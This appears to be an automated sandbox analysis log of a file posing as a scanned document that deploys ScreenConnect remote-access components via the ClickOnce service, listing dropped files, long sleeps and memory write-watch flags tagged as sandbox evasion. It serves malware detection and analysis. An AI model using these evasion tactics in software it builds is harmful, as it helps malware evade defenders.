Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: 227060B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Memory allocated: 2271FC60000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Memory allocated: 17B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Memory allocated: 1B2F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Memory allocated: B80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Memory allocated: 2540000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Memory allocated: 4540000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Memory allocated: BA0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Memory allocated: 11F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Memory allocated: 31F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Memory allocated: 780000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Memory allocated: 1A3F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Memory allocated: 1580000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Memory allocated: 1B2F0000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599766 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599607 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599500 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599390 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599235 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 599110 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598880 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 598485 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597959 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597813 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597688 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597563 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597438 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597328 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597217 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 597109 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596997 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596883 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596781 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596672 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596562 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596453 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596234 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596125 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 596015 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595906 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595783 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595565 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595141 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 595031 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594922 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594813 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594703 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594594 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594484 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594375 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594265 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594156 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 594044 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593938 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593813 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593688 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593563 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593453 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593344 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593219 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593109 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 593000 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592883 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592687 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Thread delayed: delay time: 592571 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 6522 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Window / User API: threadDelayed 3130 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\YACW3ADK.OH1\8J0P1N95.WXG\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe TID: 6848 Thread sleep time: -40000s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -26747778906878833s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 4564 Thread sleep time: -600000s >= -30000s Jump to behavior
